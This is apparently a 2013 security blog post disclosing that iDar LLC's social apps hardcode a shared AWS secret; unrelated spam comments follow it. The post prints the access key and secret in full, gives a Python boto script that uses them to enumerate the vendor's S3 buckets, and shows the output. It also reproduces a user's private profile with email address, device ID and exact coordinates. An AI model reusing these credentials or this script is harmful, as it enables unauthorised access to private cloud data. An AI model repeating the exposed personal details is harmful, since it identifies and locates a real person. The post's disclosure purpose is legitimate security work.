Wednesday 27 November 2013

How you should NEVER design your App. Part 1

After analisys of  thousands of applications (you can read about it here), we've drilled into a few cases manually. In the result, we found a group of vulnerabilities in designs, which, I think, should be revealed in details.

Why design's flaws? Often it can't be located with automated tools and can't be fixed with a simple patch - you have to redesigne the logic of your app. So, the cost of fix can become quite high. Today we will talk about a shared storage authentication.

Many apps (especially from "social networking" section) processes user's private data such as contacts, photos, geolocation by downloading it into cloud from devices. How does authentication and authorisation work here?

How I would like to see it

  1. Every user has his or her own auth-secret and private storage.
  2. Authentication and data goes through a secured channel (SSL socket, as an example)
all other is just a consequence of these two.

How does it actually work in some apps?

iDar LLC Products is a good example here. They have released 5 apps. 3 of them are free:


A few security-related words from vendor :



requested permissions:




Having applied http://hackapp.com :



AWS-secret - it's a prefix for access-tokens for Amazon cloud storage. Yes, Cloud  authentication secret is hardcoded in the app and shared between all installations. What's in the storage? By using this small python function we are enumirating buckets:

import boto
import boto.s3.connection
hook_conn = boto.connect_s3(aws_access_key_id = 'AKIAIBKQCDT68HKP66SQ',aws_secret_access_key = 'UpJrv49dOQEahn7/NmHK71mCqrMvqyAp569DrTSh')
for bucket in hook_conn.get_all_buckets():
        print "{name}\t{created}".format(name = bucket.name,created = bucket.creation_date)
keys = []
for key in bucket.list():
keys.append(key.name)
print "Files: ",len(keys)
Result:

dev_pub Files:  580
idarpub Files:  11
idd_prv Files:  190989
idd_pub Files:  1288
ide_pub Files:  72558
idf_pub Files:  0
idg_pub Files:  3136
idgpub Files:  4
idh_pub Files:  2900


Hmm...  .xml files in ide_pub. What's inside?

<person>
<deviceId>C5E0E4E1-9446-43D6-BE0C-368C8CEE1C1B-2061-00000122386F8407</deviceId>
<name>Vincentamaria215</name>
<isCompany>0</isCompany>
<isMale>1</isMale>
<age>0</age>
<seesMales>0</seesMales>
<seesFemales>1</seesFemales>
<theirOpinion></theirOpinion>
<myOpinion></myOpinion>
<myHearts>0</myHearts>
<theirHearts>0</theirHearts>
<latitude>39.919891</latitude>
<longitude>-75.173438</longitude>
<accuracy>0.000000</accuracy>
<lastInfoChange>373974150.028001</lastInfoChange>
<lastMoodChange>0.000000</lastMoodChange>
<lastPhotoChange>373974386.849133</lastPhotoChange>
<myContactXml>&lt;vcard format="vcarddav"&gt;&lt;n&gt;&lt;given&gt;&lt;text&gt;Vincentamaria215&lt;/text&gt;&lt;/given&gt;&lt;/n&gt;&lt;group name="work"&gt;&lt;/group&gt;&lt;group name="home"&gt;&lt;email&gt;&lt;text&gt;oldlimp@gmail.com&lt;/text&gt;&lt;/email&gt;&lt;/group&gt;&lt;group name="other"&gt;&lt;/group&gt;&lt;photo&gt;&lt;photofilename&gt;&lt;text&gt;yef66433b4cff0e2a385679807777df3e8a4b4967z74f3.jpeg&lt;/text&gt;&lt;/photofilename&gt;&lt;/photo&gt;&lt;/vcard&gt;</myContactXml>
</person>

Wow, it seems to be private profiles of the app users, with geolocations... Let's try Google Earth to represent the locations ...


Sweeer! But let's also take a look into other bukets, what's happening in, for example, idd_prv with 190989 files?



If it looks and feels like private photos, it seems to be private photos...


Moral of  the story

Cloud storage was compromised with all user's data in it by a stupid design flaw. So, we don't need to invent any malware with 0-day exploits to obtain user data while we have such apps in App Store.

P.S.



Remember these guys. They are iDar's developers, who have ignored my reports for a few weeks. 

14 comments:

  1. Get lots of security thematically close articles at this page

    ReplyDelete
  2. This comment has been removed by the author.

    ReplyDelete
  3. Faisalabad is one of the biggest cities in Pakistan and the hub of the textile industry. It is widely acknowledged as the Manchester of Pakistan due to its large industrial role. The quality of the fabrics produced in this city has no parallel. In fact, the fabric is something of a specialty of Faisalabad. Many people from all over the country flock to this city for a spot of cloth shopping. We aim to provide you all of the best of Faisalabad at our store. branded lawn 2016 , gul ahmed lawn with price

    ReplyDelete
  4. Employing a .NET designer seaward is a superb method for finding your best match abroad. Like a customary technique for employing, you are expected to examine engineers' resumes to see as the one. Notwithstanding the way that rethinking seller does all the daily practice with employing, it might work out great for you to know about the accompanying angles to ensure they will enlist you the perfect individual. On the off chance that you choose to enlist a lesser .NET designer rethink subject matter expert, it is significant that they will have a guide to oversee their activities and assist them with developing expertly. Having a guide will likewise be useful as far as getting another individual from the group to oblige quicker. When a .NET designer far off expert is profoundly intrigued to give the most ideal outcome the venture improvement interaction will go all the more easily and impressively quicker>> hire net developer

    ReplyDelete
  5. Кресло-кровать : Комфорт и Многофункциональность в Одном

    Кресло-кровать - это удивительное сочетание кресла и кровати, которое обладает высокой степенью комфорта и функциональности. Это мебельное решение идеально подходит для тех, кто ценит практичность и умение оптимизировать пространство своего дома.

    Комфорт в любое время дня

    Одной из главных особенностей кресла-кровати является его способность обеспечить удобство и комфорт как в режиме кресла, так и в режиме кровати. В положении кресла, оно предлагает удобное сидение с подлокотниками и спинкой, что делает его отличным местом для чтения, просмотра телевизора или отдыха в течение дня. Когда наступает время сна или приходят гости, кресло легко превращается в уютную кровать, предоставляя мягкое место для отдыха и сна.

    Оптимизация пространства

    Кресло-кровать является идеальным выбором для небольших помещений, где каждый метр квадратный ценен. Оно отлично вписывается в гостиные, спальни, детские комнаты или домашние офисы, позволяя экономить место и не перегружать интерьер лишней мебелью. Кресло-кровать можно легко разместить даже в небольшой студии, где оно служит двум функциям - месту для отдыха и спальному месту в одном.

    Разнообразие стилей и дизайнов

    На рынке представлено множество моделей кресел-кроватей различных стилей и дизайнов. Вы можете выбрать подходящее кресло-кровать, которое гармонично дополнит ваш интерьер и отразит ваш индивидуальный стиль. От современных минималистичных вариантов до классических изящных моделей - есть множество вариантов для удовлетворения ваших потребностей и предпочтений.

    Кресло-кровать - это мебельное решение, которое сочетает в себе превосходный комфорт и практичность. Оно идеально подходит для использования в небольших помещениях, а также предоставляет удобное спальное место для гостей. Разнообразие стилей и дизайнов позволяет выбрать идеальный вариант, который подчеркнет индивидуальность вашего дома и принесет радость в повседневную жизнь.

    ReplyDelete
  6. pg slot th เป็นเกมออนไลน์ ที่เกมบันเทิงใจยอดเยี่ยม เล่นแล้วได้จริง เครดิตฟรี 50 เล่นแล้วร่ำรวยทำให้คุณมั่งคั่งขึ้นได้ PG SLOT แค่เพียงคุณร่วมบันเทิงใจกับ สล็อต ต่างๆที่มีให้เล่น ทดลอง เล่น ฟรี ได้แล้ววันนี้

    ReplyDelete